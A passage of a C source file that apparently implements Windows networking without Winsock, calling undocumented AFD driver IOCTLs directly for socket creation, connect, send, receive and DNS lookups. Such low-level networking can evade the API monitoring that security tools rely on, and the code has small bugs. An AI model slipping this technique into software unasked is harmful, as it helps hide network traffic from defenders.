SocketType, 1222 | .Protocol = socketProtocol 1223 | }; 1224 | 1225 | // DGRAM protocol type must to be placed at [packet.unknow1] as uint16_t 1226 | if (socketProtocol == IPPROTO_UDP) 1227 | { 1228 | packet.unknown1 = socketProtocol; 1229 | } 1230 | 1231 | LOG_INFO("afd_create() -> AFD_CREATE_PACKET packet ->\n"); 1232 | if (CURRENT_LOG_LEVEL) 1233 | { 1234 | hexdump(&packet, sizeof(packet)); 1235 | } 1236 | 1237 | // Set afd endpoint path 1238 | memset((void*)&object_file_path, 0, sizeof(object_file_path)); 1239 | object_file_path.Buffer = L"\\Device\\Afd\\Endpoint"; 1240 | object_file_path.Length = wcslen(object_file_path.Buffer) * sizeof(wchar_t); 1241 | object_file_path.MaximumLength = object_file_path.Length; 1242 | 1243 | // Initialise object attributes 1244 | memset((void*)&object_attributes, 0, sizeof(object_attributes)); 1245 | object_attributes.Length = sizeof(object_attributes); 1246 | object_attributes.ObjectName = &object_file_path; 1247 | object_attributes.Attributes = 0x40; 1248 | 1249 | // Create socket handle 1250 | IoStatusBlock.Status = 0; 1251 | IoStatusBlock.Information = NULL; 1252 | 1253 | dwStatus = NtCreateFile(&hSocket, 1254 | GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE | WRITE_DAC, 1255 | &object_attributes, &IoStatusBlock, NULL, 0, 1256 | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 1257 | FILE_OPEN_IF, 0, &packet, sizeof(packet)); 1258 | 1259 | *(HANDLE*)socket_handle = hSocket; 1260 | 1261 | if (!NT_SUCCESS(dwStatus)) { 1262 | return dwStatus; 1263 | } 1264 | 1265 | LOG_INFO("status -> 0x%d", dwStatus); 1266 | 1267 | // Assign the socket handle to the output parameter 1268 | *socket_handle = hSocket; 1269 | 1270 | return dwStatus; 1271 | } 1272 | 1273 | /** 1274 | * Binds a socket handle using the AFD (Ancillary Function Driver) interface. 1275 | * 1276 | * @param socket_handle Pointer to the socket handle to bind. 1277 | * 1278 | * @return NTSTATUS The status of the AFD bind operation. 1279 | */ 1280 | NTSTATUS afd_bind( 1281 | HANDLE* socket_handle 1282 | ) { 1283 | // Bind a client port to futher TCP/UDP/RAW communication 1284 | NTSTATUS Status = NULL; 1285 | IO_STATUS_BLOCK IoStatus = { 0 }; 1286 | HANDLE Event = NULL; 1287 | 1288 | Status = NtCreateEvent(&Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE); 1289 | 1290 | if (!NT_SUCCESS(Status)) 1291 | { 1292 | LOG_ERROR("Failed to create event!"); 1293 | return Status; 1294 | } 1295 | 1296 | BYTE* dummy[0x777] = { 0 }; 1297 | memset(dummy, 'A', sizeof(dummy)); 1298 | 1299 | union 1300 | { 1301 | AFD_BIND_DATA binddata; 1302 | SOCKADDR_IN sockaddr; 1303 | } u; 1304 | 1305 | memset(&u.binddata, 0, sizeof(u.binddata)); 1306 | u.binddata.ShareType = 0x2; 1307 | u.binddata.addr.sin_family = AF_INET; 1308 | u.binddata.addr.sin_addr.s_addr = INADDR_ANY; 1309 | u.binddata.addr.sin_port = 0; 1310 | 1311 | Status = NtDeviceIoControlFile( 1312 | socket_handle, 1313 | Event, 1314 | NULL, 1315 | NULL, 1316 | &IoStatus, 1317 | IOCTL_AFD_BIND, 1318 | (BYTE*)&u, 1319 | sizeof(u), 1320 | &dummy, 1321 | sizeof(dummy) 1322 | ); 1323 | 1324 | if (Status == STATUS_PENDING) 1325 | { 1326 | NtWaitForSingleObject(Event, FALSE, NULL); 1327 | Status = IoStatus.Status; 1328 | } 1329 | 1330 | NtClose(Event); 1331 | 1332 | return Status; 1333 | } 1334 | 1335 | /** 1336 | * Sets the context for a given socket using the AFD (Ancillary Function Driver) subsystem. 1337 | * 1338 | * @param socket_handle - The handle to the socket for which the context is to be set. 1339 | * @param input_buf - A pointer to the buffer containing the context data to be set. 1340 | * 1341 | * @returns NTSTATUS - The status code of the operation. If successful, the status will indicate success; 1342 | * otherwise, it will provide an error code. 1343 | */ 1344 | NTSTATUS afd_set_context( 1345 | HANDLE socket_handle, 1346 | LPVOID input_buf 1347 | ) { 1348 | NTSTATUS Status = NULL; 1349 | IO_STATUS_BLOCK IoStatus = { 0 }; 1350 | HANDLE Event = NULL; 1351 | 1352 | Status = NtCreateEvent(&Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE); 1353 | 1354 | if (!NT_SUCCESS(Status)) 1355 | { 1356 | LOG_ERROR("Failed to create event!"); 1357 | return Status; 1358 | } 1359 | 1360 | Status = NtDeviceIoControlFile( 1361 | socket_handle, 1362 | Event, 1363 | NULL, 1364 | NULL, 1365 | &IoStatus, 1366 | IOCTL_AFD_SET_CONTEXT, 1367 | input_buf, 1368 | SOCK_CONTEXT_BUF_SIZE, 1369 | 0, 1370 | NULL 1371 | ); 1372 | 1373 | if (Status == STATUS_PENDING) 1374 | { 1375 | NtWaitForSingleObject(Event, FALSE, NULL); 1376 | Status = IoStatus.Status; 1377 | } 1378 | 1379 | NtClose(Event); 1380 | 1381 | return Status; 1382 | } 1383 | 1384 | /** 1385 | * Retrieves the context for a given socket using the AFD (Ancillary Function Driver) subsystem. 1386 | * 1387 | * @param socket_handle - The handle to the socket for which the context is to be retrieved. 1388 | * @param out_buf - A pointer to the buffer where the retrieved context data will be stored. 1389 | * 1390 | * @returns NTSTATUS - The status code of the operation. If successful, the status will indicate success; 1391 | * otherwise, it will provide an error code. 1392 | */ 1393 | NTSTATUS afd_get_context( 1394 | HANDLE socket_handle, 1395 | LPVOID out_buf 1396 | ) { 1397 | NTSTATUS Status = NULL; 1398 | IO_STATUS_BLOCK IoStatus = { 0 }; 1399 | HANDLE Event = NULL; 1400 | 1401 | Status = NtCreateEvent(&Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE); 1402 | 1403 | if (!NT_SUCCESS(Status)) 1404 | { 1405 | LOG_ERROR("Failed to create event!"); 1406 | return Status; 1407 | } 1408 | 1409 | Status = NtDeviceIoControlFile( 1410 | socket_handle, 1411 | Event, 1412 | NULL, 1413 | NULL, 1414 | &IoStatus, 1415 | IOCTL_AFD_GET_CONTEXT, 1416 | NULL, 1417 | 0, 1418 | out_buf, 1419 | SOCK_CONTEXT_BUF_SIZE 1420 | ); 1421 | 1422 | if (Status == STATUS_PENDING) 1423 | { 1424 | NtWaitForSingleObject(Event, FALSE, NULL); 1425 | Status = IoStatus.Status; 1426 | } 1427 | 1428 | NtClose(Event); 1429 | 1430 | return Status; 1431 | } 1432 | 1433 | /** 1434 | * Establishes a connection to a specified address and port using AFD (Ancillary Function Driver). 1435 | * 1436 | * @param socket_handle Pointer to the socket handle. 1437 | * @param Address The address to connect to. 1438 | * @param Port The port number to connect to. 1439 | * 1440 | * @returns The status of the connection attempt. 1441 | */ 1442 | NTSTATUS afd_connect( 1443 | HANDLE* socket_handle, 1444 | char* Address, 1445 | int Port 1446 | ) { 1447 | NTSTATUS Status = NULL; 1448 | IO_STATUS_BLOCK IoStatus = { 0 }; 1449 | AFD_CONNECT_INFO conn_struct = { 0 }; 1450 | HANDLE Event = NULL; 1451 | 1452 | Status = NtCreateEvent(&Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE); 1453 | 1454 | if (!NT_SUCCESS(Status)) 1455 | { 1456 | LOG_ERROR("Failed to create event!"); 1457 | return Status; 1458 | } 1459 | 1460 | memset(&conn_struct, '0', sizeof(conn_struct)); 1461 | conn_struct.UseSAN = 0; 1462 | conn_struct.Root = 0; 1463 | conn_struct.Unknown = 0; 1464 | conn_struct.Bind.sin_family = AF_INET; 1465 | conn_struct.Bind.sin_addr.s_addr = htonl(convert_ip_to_htonl(Address)); 1466 | conn_struct.Bind.sin_port = htons(Port); 1467 | 1468 | Status = NtDeviceIoControlFile( 1469 | socket_handle, 1470 | Event, 1471 | NULL, 1472 | NULL, 1473 | &IoStatus, 1474 | IOCTL_AFD_DOCONNECT, 1475 | &conn_struct, 1476 | sizeof(conn_struct), 1477 | NULL, 1478 | 0 1479 | ); 1480 | 1481 | if (Status == STATUS_PENDING) 1482 | { 1483 | NtWaitForSingleObject(Event, FALSE, NULL); 1484 | Status = IoStatus.Status; 1485 | } 1486 | 1487 | NtClose(Event); 1488 | 1489 | return Status; 1490 | } 1491 | 1492 | /** 1493 | * Sends a buffer over a specified socket handle using the AFD (Ancillary Function Driver) interface. 1494 | * 1495 | * @param socket_handle The handle to the socket for sending the data. 1496 | * @param buf The buffer containing the data to be sent. 1497 | * @param query_len The length of the data buffer. 1498 | * @param is_dns_query A boolean flag indicating if the data is a DNS query. 1499 | * 1500 | * @returns The NTSTATUS of the send operation. 1501 | */ 1502 | NTSTATUS afd_send( 1503 | HANDLE socket_handle, 1504 | LPVOID buf, 1505 | int query_len, 1506 | BOOL is_dns_query 1507 | ) { 1508 | NTSTATUS Status = NULL; 1509 | IO_STATUS_BLOCK IoStatus = { 0 }; 1510 | HANDLE Event = NULL; 1511 | 1512 | Status = NtCreateEvent(&Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE); 1513 | 1514 | if (!NT_SUCCESS(Status)) 1515 | { 1516 | LOG_ERROR("Failed to create event!"); 1517 | return Status; 1518 | } 1519 | 1520 | AFD_SEND_INFO fb = { 0 }; 1521 | int finalSz = 0; 1522 | 1523 | // DNS query length must to be the final payload + 2 1524 | if ((is_dns_query) > 0) 1525 | { 1526 | finalSz = query_len + 2; 1527 | } 1528 | else 1529 | { 1530 | finalSz = query_len; 1531 | } 1532 | 1533 | buf = (unsigned char*)buf; // Sent buffer 1534 | 1535 | AFD_WSABUF wsa_buffers[] = 1536 | { 1537 | { 1538 | .len = finalSz, 1539 | .buf = buf 1540 | } 1541 | }; 1542 | 1543 | LOG_INFO("afd_send() -> Sending globalSocketType: [%s]", globalSocketType); 1544 | 1545 | if ((strcmp(globalSocketType, "TCP") == 0) || (strcmp(globalSocketType, "RAW") == 0)) 1546 | { 1547 | fb.BufferArray = wsa_buffers; 1548 | fb.BufferCount = 1; 1549 | fb.AfdFlags = 0; 1550 | fb.TdiFlags = finalSz; 1551 | 1552 | Status = NtDeviceIoControlFile( 1553 | socket_handle, 1554 | Event, 1555 | NULL, 1556 | NULL, 1557 | &IoStatus, 1558 | IOCTL_AFD_SEND, 1559 | &fb, 1560 | sizeof(fb), 1561 | NULL, 1562 | 0 1563 | ); 1564 | } 1565 | else if (strcmp(globalSocketType, "UDP") == 0) 1566 | { 1567 | SOCKADDR_IN conn_struct = { 0 }; 1568 | memset(&conn_struct, 0, sizeof(conn_struct)); 1569 | conn_struct.sin_family = AF_INET; 1570 | conn_struct.sin_addr.s_addr = htonl((uint32_t)convert_ip_to_htonl(globalRemoteAddr)); 1571 | conn_struct.sin_port = htons(globalRemotePort); 1572 | 1573 | // Allocate and initialize AFD_SEND_DATAGRAM_INFO structure 1574 | AFD_SEND_DATAGRAM_INFO dgramInfo = { 0 }; 1575 | memset(&dgramInfo, 0, sizeof(dgramInfo)); 1576 | dgramInfo.BufferArray = wsa_buffers; 1577 | dgramInfo.BufferCount = 1; 1578 | dgramInfo.AfdFlags = AFD_IMMEDIATE; 1579 | if (is_dns_query > 0) 1580 | { 1581 | dgramInfo.TdiConnInfo.UserDataLength = finalSz; 1582 | } 1583 | else 1584 | { 1585 | dgramInfo.TdiConnInfo.UserDataLength = strlen(buf); 1586 | } 1587 | dgramInfo.TdiConnInfo.UserData = buf; 1588 | dgramInfo.TdiConnInfo.RemoteAddressLength = sizeof(conn_struct); 1589 | dgramInfo.TdiConnInfo.RemoteAddress = &conn_struct; 1590 | 1591 | // Example: Now you can use dgramInfo for further processing 1592 | Status = NtDeviceIoControlFile( 1593 | socket_handle, 1594 | Event, 1595 | NULL, 1596 | NULL, 1597 | &IoStatus, 1598 | IOCTL_AFD_SEND_DATAGRAM, 1599 | &dgramInfo, 1600 | 0x777, 1601 | 0, 1602 | NULL 1603 | ); 1604 | } 1605 | 1606 | if (Status == STATUS_PENDING) 1607 | { 1608 | NtWaitForSingleObject(Event, FALSE, NULL); 1609 | Status = IoStatus.Status; 1610 | } 1611 | 1612 | if (!NT_SUCCESS(Status)) { 1613 | LOG_ERROR("afd_send() -> Failed! -> Status: 0x%x", Status); 1614 | return Status; 1615 | } 1616 | 1617 | LOG_INFO("afd_send() -> OK STATUS"); 1618 | 1619 | NtClose(Event); 1620 | 1621 | return Status; 1622 | } 1623 | 1624 | /** 1625 | * Receives data from a socket using the Windows AFD API. 1626 | * 1627 | * @param socket_handle A pointer to the handle of the socket. 1628 | * @param wsa_buffer A pointer to the buffer to store the received data. 1629 | * 1630 | * @returns The status of the operation. 1631 | */ 1632 | NTSTATUS afd_recv( 1633 | HANDLE* socket_handle, 1634 | LPVOID wsa_buffer 1635 | ) { 1636 | NTSTATUS Status = NULL; 1637 | IO_STATUS_BLOCK IoStatus = { 0 }; 1638 | HANDLE Event = NULL; 1639 | 1640 | Status = NtCreateEvent(&Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE); 1641 | 1642 | if (!NT_SUCCESS(Status)) 1643 | { 1644 | LOG_ERROR("Failed to create event!"); 1645 | return Status; 1646 | } 1647 | 1648 | AFD_WSABUF FAKE_BUF = { 0 }; 1649 | 1650 | BYTE wsa_recv_buffer[MAX_RECV_BYTES] = { 0 }; 1651 | 1652 | FAKE_BUF.buf = (LPVOID)wsa_recv_buffer; 1653 | FAKE_BUF.len = (uint32_t)sizeof(wsa_recv_buffer); 1654 | 1655 | if ((strcmp(globalSocketType, "TCP") == 0)|| (strcmp(globalSocketType, "RAW") == 0)) 1656 | { 1657 | AFD_RECV_INFO recvInfo = { 0 }; 1658 | memset(&recvInfo, 0, sizeof(recvInfo)); 1659 | 1660 | recvInfo.BufferArray = &FAKE_BUF; 1661 | recvInfo.BufferCount = 1; 1662 | recvInfo.TdiFlags = TDI_RECEIVE_NORMAL; 1663 | recvInfo.AfdFlags = 0; 1664 | 1665 | Status = NtDeviceIoControlFile( 1666 | socket_handle, 1667 | Event, 1668 | NULL, 1669 | NULL, 1670 | &IoStatus, 1671 | IOCTL_AFD_RECV, 1672 | &recvInfo, 1673 | sizeof(recvInfo), 1674 | NULL, 1675 | 0 1676 | ); 1677 | } 1678 | else if (strcmp(globalSocketType, "UDP") == 0) 1679 | { 1680 | SOCKADDR_IN conn_struct = { 0 }; 1681 | memset(&conn_struct, 0, sizeof(conn_struct)); 1682 | conn_struct.sin_family = AF_INET; 1683 | conn_struct.sin_addr.s_addr = htonl((uint32_t)convert_ip_to_htonl(globalRemoteAddr)); 1684 | conn_struct.sin_port = htons(globalRemotePort); 1685 | 1686 | int szConn = sizeof(conn_struct); 1687 | 1688 | AFD_RECV_INFO_UDP recvInfo = { 0 }; 1689 | memset(&recvInfo, 0, sizeof(recvInfo)); 1690 | recvInfo.BufferArray = &FAKE_BUF; 1691 | recvInfo.BufferCount = 1; 1692 | recvInfo.TdiFlags = TDI_RECEIVE_NORMAL; 1693 | recvInfo.AfdFlags = AFD_IMMEDIATE; 1694 | recvInfo.Address = &conn_struct; 1695 | recvInfo.AddressLength = &szConn; 1696 | 1697 | Status = NtDeviceIoControlFile( 1698 | socket_handle, 1699 | Event, 1700 | NULL, 1701 | NULL, 1702 | &IoStatus, 1703 | IOCTL_AFD_RECV_DATAGRAM, 1704 | &recvInfo, 1705 | sizeof(recvInfo), 1706 | NULL, 1707 | 0 1708 | ); 1709 | } 1710 | 1711 | if (Status == STATUS_PENDING) 1712 | { 1713 | NtWaitForSingleObject(Event, FALSE, NULL); 1714 | Status = IoStatus.Status; 1715 | } 1716 | 1717 | memcpy(wsa_buffer, &wsa_recv_buffer, MAX_RECV_BYTES); 1718 | 1719 | NtClose(Event); 1720 | 1721 | return Status; 1722 | } 1723 | 1724 | /** 1725 | * Closes an AFD handle. 1726 | * 1727 | * @param Handle The handle to be closed. 1728 | * 1729 | * @return NTSTATUS indicating the result of the close operation. 1730 | */ 1731 | NTSTATUS afd_close( 1732 | HANDLE hHandle 1733 | ) { 1734 | // Clear globalSocketType Buffer 1735 | memset(&globalSocketType, 0, sizeof(globalSocketType)); 1736 | memset(&globalRemoteAddr, 0, sizeof(globalRemoteAddr)); 1737 | memset(&globalRemotePort, 0, sizeof(globalRemotePort)); 1738 | if (hHandle) // Close only when hHandle != 0 1739 | { 1740 | return NtClose(hHandle); 1741 | } 1742 | } 1743 | 1744 | /** 1745 | * Lookups a domain name to an IP address using the specified socket handle. 1746 | * 1747 | * @param hSocket The handle to the socket for DNS resolution. 1748 | * @param domain_name The domain name to lookup. 1749 | * @param outBuffer Pointer to a DOMAIN_INFO structure to store the lookupd IP address. 1750 | * 1751 | * @return NTSTATUS The status of the domain resolution operation. 1752 | */ 1753 | NTSTATUS nosa_dns_lookup( 1754 | PHANDLE hSocket, 1755 | char* domain_name, 1756 | DOMAIN_INFO* outBuffer 1757 | ) { 1758 | NTSTATUS Status = NULL; 1759 | IO_STATUS_BLOCK IoStatus = { 0 }; 1760 | HANDLE Event = NULL; 1761 | 1762 | char *dnsHost = DNS_SERVER; 1763 | int dnsPort = DNS_PORT; 1764 | DWORD sType = SOCK_DGRAM; 1765 | DWORD sProtocol = IPPROTO_UDP; 1766 | 1767 | unsigned char out_buffer_ptr = { 0 }; 1768 | unsigned char buf[1024] = { 0 }; 1769 | int query_len = 0; 1770 | 1771 | unsigned char wsa_buffer[MAX_RECV_BYTES] = { 0 }; 1772 | memset(wsa_buffer, 0, sizeof(wsa_buffer)); 1773 | 1774 | // Define Global variables to be used in current connection 1775 | strncpy_s(globalSocketType, sizeof(globalSocketType) + 1, "UDP", _TRUNCATE); 1776 | strncpy_s(globalRemoteAddr, 16, DNS_SERVER, _TRUNCATE); 1777 | memcpy(&globalRemotePort, &dnsPort, sizeof(globalRemotePort)); 1778 | 1779 | Status = afd_create(&hSocket, sType, sProtocol); 1780 | 1781 | if (!NT_SUCCESS(Status)) 1782 | { 1783 | LOG_ERROR("nosa_dns_lookup->afd_create() failed! [ 0x%x ]", Status); 1784 | } 1785 | else 1786 | { 1787 | LOG_INFO("Socket created successfully! HANDLE: [ 0x%x ]", hSocket); 1788 | } 1789 | 1790 | Status = afd_bind(hSocket); 1791 | 1792 | if (!NT_SUCCESS(Status)) 1793 | { 1794 | LOG_ERROR("nosa_dns_lookup -> afd_bind() failed! [ 0x%x ]", Status); 1795 | return Status; 1796 | } 1797 | else 1798 | { 1799 | LOG_INFO("nosa_dns_lookup -> afd_bind() OK"); 1800 | } 1801 | 1802 | Status = afd_connect(hSocket, dnsHost, dnsPort); 1803 | 1804 | if (!NT_SUCCESS(Status)) 1805 | { 1806 | LOG_ERROR("nosa_dns_lookup -> afd_connect() failed! [ 0x%x ]", Status); 1807 | return Status; 1808 | } 1809 | else 1810 | { 1811 | LOG_INFO("nosa_dns_lookup -> afd_connect() OK"); 1812 | } 1813 | 1814 | LOG_INFO("lookuping IP address by using [ %s ] DNS SERVER.", DNS_SERVER); 1815 | 1816 | unsigned char* query = build_dns_query(domain_name, &query_len); 1817 | 1818 | // Send the query length and the query itself 1819 | unsigned short net_query_len = htons(query_len); 1820 | memcpy(buf, &net_query_len, 2); 1821 | memcpy(buf + 2, query, query_len); 1822 | 1823 | // ifconfig.me -> example query pkt 1824 | // 1825 | // 0x12, 0x34, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 1826 | // 0x0, 0x0, 0x0, 0x8, 0x69, 0x66, 0x63, 0x6f, 0x6e, 1827 | // 0x66, 0x69, 0x67, 0x2, 0x6d, 0x65, 0x0, 0x0, 0x1, 1828 | // 0x0, 0x1 1829 | 1830 | // Print the DNS query bytes for verification 1831 | LOG_INFO("DNS Query:"); 1832 | if (CURRENT_LOG_LEVEL) 1833 | { 1834 | hexdump(query, query_len); 1835 | } 1836 | 1837 | // We assume that socket_handle are created with create() -> bind() -> connect() 1838 | Status = afd_send(hSocket, query, query_len, 1); 1839 | 1840 | if (!NT_SUCCESS(Status)) 1841 | { 1842 | LOG_ERROR("afd_send() failed! [ 0x%x ]", Status); 1843 | return Status; 1844 | } 1845 | 1846 | Status = afd_recv(hSocket, &wsa_buffer); 1847 | 1848 | if (!NT_SUCCESS(Status)) 1849 | { 1850 | LOG_ERROR("afd_recv() failed! [ 0x%x ]", Status); 1851 | return Status; 1852 | } 1853 | 1854 | // Print the DNS response bytes for verification 1855 | LOG_INFO("afd_recv() Response:"); 1856 | if (CURRENT_LOG_LEVEL) 1857 | { 1858 | hexdump(wsa_buffer, 0x100); 1859 | } 1860 | 1861 | if (wsa_buffer) 1862 | { 1863 | unsigned int ip_address = parse_dns_response(wsa_buffer + 2, sizeof(wsa_buffer)); // Skip the length prefix 1864 | 1865 | if (ip_address != 0) 1866 | { 1867 | outBuffer->hex_ip_address = htonl(ip_address); // 0x22a06f91 1868 | strncpy_s(outBuffer->ip_address_str, sizeof(outBuffer->ip_address_str), // 34.160.111.145 1869 | convert_htonl_to_ip_address(outBuffer->hex_ip_address), _TRUNCATE); 1870 | } 1871 | else 1872 | { 1873 | LOG_ERROR("No IP address found in the DNS response."); 1874 | } 1875 | } 1876 | else 1877 | { 1878 | LOG_ERROR("[-] No response received."); 1879 | } 1880 | 1881 | return Status; 1882 | } 1883 | 1884 | /** 1885 | * Establishes a connection using nosa with the specified parameters. 1886 | * 1887 | * @param hSocket Pointer to the socket handle. 1888 | * @param host The host to connect to. 1889 | * @param port The port number to connect to. 1890 | * @param socketType The type of socket to use (e.g., "TCP"). 1891 | * 1892 | * @returns NTSTATUS indicating the status of the connection attempt. 1893 | */ 1894 | NTSTATUS nosa_connect( 1895 | PHANDLE hSocket, 1896 | char* host, 1897 | int port, 1898 | char *socketType 1899 | ) { 1900 | NTSTATUS Status = NULL; 1901 | DWORD sType = NULL; 1902 | DWORD socketProtocol = NULL; 1903 | char ip_string[16] = { 0 }; // Allocate enough space for an IPv4 address in dotted notation 1904 | 1905 | if (get_nt_functions()) // load ntdll libraries 1906 | { 1907 | if (is_domain_name(host)) // lookup the IP address of a given domain name 1908 | { 1909 | Status = get_ip_from_domain(host, ip_string); 1910 | 1911 | if (!NT_SUCCESS(Status)) 1912 | { 1913 | LOG_ERROR("get_ip_from_domain() failed: [ 0x%x ]", Status); 1914 | return Status; 1915 | } 1916 | } 1917 | else 1918 | { 1919 | // Directly copy the IP address if `host` is an IP address string 1920 | strncpy_s(ip_string, 16, host, _TRUNCATE); 1921 | LOG_INFO("ip_string: %s", ip_string); 1922 | } 1923 | 1924 | if (strcmp(socketType, "TCP") == 0) 1925 | { 1926 | sType = SOCK_STREAM; 1927 | strncpy_s(globalSocketType, sizeof(globalSocketType) + 1, "TCP", _TRUNCATE); 1928 | } 1929 | else if (strcmp(socketType, "UDP") == 0) 1930 | { 1931 | sType = SOCK_DGRAM; 1932 | // Define Global variables to be used in current connection 1933 | strncpy_s(globalSocketType, sizeof(globalSocketType) + 1, "UDP", _TRUNCATE); 1934 | strncpy_s(globalRemoteAddr, 16, ip_string, _TRUNCATE); 1935 | memcpy(&globalRemotePort, &port, sizeof(globalRemotePort)); 1936 | } 1937 | else if (strcmp(socketType, "RAW") == 0) 1938 | { 1939 | sType = SOCK_RAW; 1940 | strncpy_s(globalSocketType, sizeof(globalSocketType) + 1, "RAW", _TRUNCATE); 1941 | } 1942 | else 1943 | { 1944 | LOG_ERROR("Unsupported Socket Type!\n"); 1945 | return -1; 1946 | } 1947 | 1948 | // Switch case to handle different socket types 1949 | switch (sType) 1950 | { 1951 | case SOCK_STREAM: 1952 | socketProtocol = IPPROTO_TCP; 1953 | break; 1954 | 1955 | case SOCK_DGRAM: 1956 | socketProtocol = IPPROTO_UDP; 1957 | break; 1958 | 1959 | case SOCK_RAW: 1960 | socketProtocol = IPPROTO_RAW; 1961 | break; 1962 | } 1963 | 1964 | // Pass the pointer to the HANDLE, allowing the function to modify the original hSocket variable 1965 | Status = afd_create(hSocket, sType, socketProtocol); 1966 | 1967 | if (*hSocket) 1968 | { 1969 | LOG_INFO("Socket created successfully. HANDLE: [ 0x%x ]", *hSocket); 1970 | } 1971 | else 1972 | { 1973 | LOG_ERROR("Failed to create socket."); 1974 | return Status; 1975 | } 1976 | 1977 | Status = afd_bind(*hSocket); 1978 | 1979 | if (!NT_SUCCESS(Status)) 1980 | { 1981 | LOG_ERROR("nosa_connect() -> afd_bind() failed! [ 0x%x ]", Status); 1982 | return Status; 1983 | } 1984 | else 1985 | { 1986 | LOG_INFO("nosa_connect() -> afd_bind() OK"); 1987 | } 1988 | 1989 | // generate a context for our created socket 1990 | BYTE* sockctx_input_buffer[SOCK_CONTEXT_BUF_SIZE] = { 0 }; 1991 | memset(sockctx_input_buffer, 0, sizeof(sockctx_input_buffer)); // clear our created vm alloc 1992 | 1993 | Status = create_context(AF_INET, sType, socketProtocol, &sockctx_input_buffer); 1994 | 1995 | // bp afdsetcontext ".if (@rdi == 0xcafe0000) { .echo 'Breakpoint hit!'; } .else { gc; }" 1996 | Status = afd_set_context(*hSocket, sockctx_input_buffer); // implement current socket context 1997 | 1998 | if (!NT_SUCCESS(Status)) 1999 | { 2000 | LOG_ERROR("nosa_connect() -> afd_set_context() failed! [ 0x%x ]", Status); 2001 | return Status; 2002 | } 2003 | else 2004 | { 2005 | LOG_INFO("nosa_connect() -> afd_set_context() OK"); 2006 | } 2007 | 2008 | // Receive and print TCP packet response 2009 | BYTE* sockctx_out_buffer[SOCK_CONTEXT_BUF_SIZE] = { 0 }; 2010 | memset(sockctx_out_buffer, 0, sizeof(sockctx_out_buffer)); // clear 2011 | 2012 | Status = afd_get_context(*hSocket, sockctx_out_buffer); 2013 | 2014 | if (!NT_SUCCESS(Status)) 2015 | { 2016 | LOG_ERROR("nosa_connect() -> nosa_getcontext() failed! [ 0x%x ]", Status); 2017 | return Status; 2018 | } 2019 | else 2020 | { 2021 | LOG_INFO("nosa_connect() -> nosa_getcontext() OK"); 2022 | } 2023 | 2024 | memcpy(&globalContext, &sockctx_out_buffer, sizeof(globalContext)); 2025 | 2026 | LOG_INFO("GLOBAL CONTEXT"); 2027 | if (CURRENT_LOG_LEVEL) 2028 | { 2029 | hexdump(globalContext, 0x100); 2030 | } 2031 | 2032 | if (sType == SOCK_STREAM) { // UDP (DRGAM) is connectionless, which means we don't need afd_connect() 2033 | Status = afd_connect(*hSocket, ip_string, port); 2034 | 2035 | if (!NT_SUCCESS(Status)) 2036 | { 2037 | LOG_ERROR("nosa_connect() -> afd_connect() failed! [ 0x%x ]", Status); 2038 | return Status; 2039 | } 2040 | else 2041 | { 2042 | LOG_INFO("nosa_connect() -> afd_connect() OK"); 2043 | } 2044 | } 2045 | 2046 | Sleep(10); // wait a little bit 2047 | 2048 | return Status; 2049 | } 2050 | else 2051 | { 2052 | LOG_ERROR("Failed to start NTDLL functions"); 2053 | } 2054 | } 2055 | 2056 | /** 2057 | * Sends a packet of data using the Windows Socket API-less method. 2058 | * 2059 | * @param hSocket A pointer to the socket handle. 2060 | * @param packet_data A pointer to the data packet to be sent. 2061 | * @param packet_data_sz The size of the data packet. 2062 | * 2063 | * @returns The status of the send operation. 2064 | */ 2065 | NTSTATUS nosa_send( 2066 | HANDLE* hSocket, 2067 | LPVOID packet_data, 2068 | int packet_data_sz 2069 | ) { 2070 | NTSTATUS Status = NULL; 2071 | 2072 | Status = afd_send(*hSocket, packet_data, packet_data_sz, 0); // Note: query_len + 2 includes the length prefix 2073 | 2074 | if (!NT_SUCCESS(Status)) 2075 | { 2076 | LOG_ERROR("afd_send() failed!: [ 0x%x ]", Status); 2077 | } 2078 | 2079 | Sleep(10); // wait a little bit 2080 | 2081 | return Status; 2082 | } 2083 | 2084 | /** 2085 | * Receives data from a socket using the Windows Socketless API. 2086 | * 2087 | * @param hSocket The handle to the socket from which to receive data. 2088 | * @param packet_data_received Pointer to the buffer where the received data will be stored. 2089 | * 2090 | * @return NTSTATUS The status of the operation. 2091 | */ 2092 | NTSTATUS nosa_recv( 2093 | HANDLE hSocket, 2094 | LPVOID packet_data_received 2095 | ) { 2096 | NTSTATUS Status = NULL; 2097 | IO_STATUS_BLOCK IoStatus = { 0 }; 2098 | HANDLE Event = NULL; 2099 | unsigned char out_buffer_ptr = { 0 }; 2100 | int query_len = 0; 2101 | unsigned char buf[MAX_RECV_BYTES] = { 0 }; 2102 | 2103 | Status = afd_recv(hSocket, packet_data_received); 2104 | 2105 | if (!NT_SUCCESS(Status)) 2106 | { 2107 | LOG_ERROR("afd_recv() failed!: [ 0x%x ]", Status); 2108 | return Status; 2109 | } 2110 | 2111 | return Status; 2112 | } 2113 | 2114 | /* References 2115 | - https://github.com/R41N3RZUF477/NtSock 2116 | - https://www.x86matthew.com/view_post?id=ntsockets 2117 | */ 2118 | --------------------------------------------------------------------------------